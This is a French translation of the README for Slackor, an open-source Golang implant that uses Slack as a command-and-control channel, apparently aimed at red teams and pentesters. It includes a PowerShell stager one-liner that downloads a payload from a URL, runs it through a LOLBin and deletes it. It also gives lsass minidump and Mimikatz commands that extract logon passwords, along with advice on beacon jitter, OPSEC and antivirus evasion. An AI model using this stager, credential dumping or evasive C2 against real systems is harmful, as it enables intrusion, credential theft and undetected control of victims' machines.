
Un implant Golang qui utilise Slack comme serveur de commande et de contrôle.
Maintenu sur https://github.com/n00py/Slackor
Un implant Golang qui utilise Slack comme canal de commande et de contrôle.
Ce projet s'est inspiré de Gcat et Twittor.
Cet outil est publié à titre de preuve de concept. Assurez-vous de lire et de comprendre la politique de développement des applications Slack avant de créer des applications Slack.
Remarque : Le serveur est écrit en Python 3
Pour que cela fonctionne, vous avez besoin de :
Un espace de travail Slack
Enregistrer une application avec les permissions suivantes :
Créer un bot
Ce dépôt contient cinq fichiers :
install.sh Installe les dépendancessetup.py Le script pour créer les canaux Slack, la base de données et l'implantagent.py Script pour générer de nouveaux implantsserver.py Le serveur Slackor, conçu pour être exécuté sur Linuxagent.go L'implant Golangrequirements.txt Dépendances Python (installées automatiquement)Pour commencer :
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shsetup.py
Après avoir exécuté le script avec succès, plusieurs fichiers seront créés dans le répertoire dist/ :
agent.windows.exe : Windows binaire 64 bitsagent.upx.exe : Windows binaire 64 bits, compressé avec UPXagent.darwin : macOS binaire 64 bitsagent.32.linux : Linux binaire 32 bitsagent.64.linux : Linux binaire 64 bitsAprès avoir démarré server.py sur un hôte Linux, exécutez l'agent approprié ci-dessus pour votre hôte cible.
Exécutez le module "stager" pour générer une commande en une ligne et d'autres droppers.
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
Cela exécutera InvokeWebRequest (PS v.3+) pour télécharger la charge utile, l'exécutera en utilisant un LOLBin, et se supprimera après avoir été tué. C'est un exemple fonctionnel mais la commande peut être modifiée pour utiliser une autre méthode de téléchargement ou d'exécution.
Tapez "help" ou appuyez sur [TAB] pour voir la liste des commandes disponibles. Tapez "help [COMMAND]" pour voir la description de cette commande.
(Slackor)
Une fois qu'un agent se connecte, vous pouvez interagir avec lui. Utilisez "interact [AGENT]" pour entrer dans une invite de l'agent. Tapez "help" ou appuyez sur [TAB] pour voir la liste des commandes disponibles.
(Slackor:AGENT)
Les sorties de commandes et les fichiers téléchargés sont chiffrés en AES en plus du chiffrement de transport TLS de Slack.
Les modules vous avertiront avant d'effectuer des tâches qui écrivent sur le disque.
Lors de l'exécution de commandes shell, notez que cmd.exe/bash sera exécuté. Cela peut être surveillé sur l'hôte.
Voici plusieurs commandes sûres pour l'OPSEC qui N'exécuteront PAS cmd.exe/bash :
Est-ce sûr à utiliser pour les équipes rouges/pentests ?
Oui, sous certaines conditions. Bien que les données soient chiffrées en transit, l'agent contient la clé de déchiffrement. Quiconque acquiert une copie de l'agent pourrait le rétroconcevoir et extraire les clés API et la clé secrète AES. Quiconque compromet ou accède d'une autre manière à l'espace de travail pourrait récupérer toutes les données qu'il contient. Pour cette raison, il n'est pas recommandé de réutiliser l'infrastructure contre plusieurs organisations.
Qu'en est-il de Mimikatz ?
L'implant n'a pas de fonctionnalité de vidage de mot de passe en mémoire. Si vous avez besoin de logonPasswords, vous pouvez essayer ce qui suit :
(Slackor: AGENT)minidump
Ceci extraira automatiquement les mots de passe avec Pypykatz. Alternativement, vous pouvez utiliser Mimikatz sur Windows.
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
Est-il multiplateforme ?
Il a un support multiplateforme limité. Il n'a pas été entièrement testé sur tous les systèmes sur lesquels il peut être exécuté. Le serveur a été conçu pour fonctionner sur Kali Linux. L'agent est compilé pour Windows, Mac et Linux, mais a principalement été testé avec Windows 10. Les agents peuvent mal gérer les commandes qui ne sont pas prises en charge par la plateforme de cet agent (n'essayez pas de faire un minidump sur un Mac).
Quelle est son évolutivité ?
L'évolutivité est limitée par l'API Slack. Si vous avez plusieurs agents, envisagez d'augmenter l'intervalle de balise des balises inutilisées.
Est-il vulnérable à l'analyse standard des balises ?
Actuellement, chaque balise a une gigue de 20% intégrée, et les temps de balise peuvent être personnalisés. Les paquets de demande et de réponse des agents seront à peu près de la même taille à chaque fois tant qu'aucune nouvelle commande n'est reçue.
Pourquoi avez-vous fait [x] alors qu'une meilleure façon de le faire est [y] ?
J'ai fait de mon mieux. Les PR sont encouragées :)
Il est détecté par l'antivirus !
Maintenant qu'il est open source, il est voué à avoir des problèmes. Je corrigerai les modules autant que possible, mais il n'y a aucune garantie que cela contournera tous les antivirus à tout moment.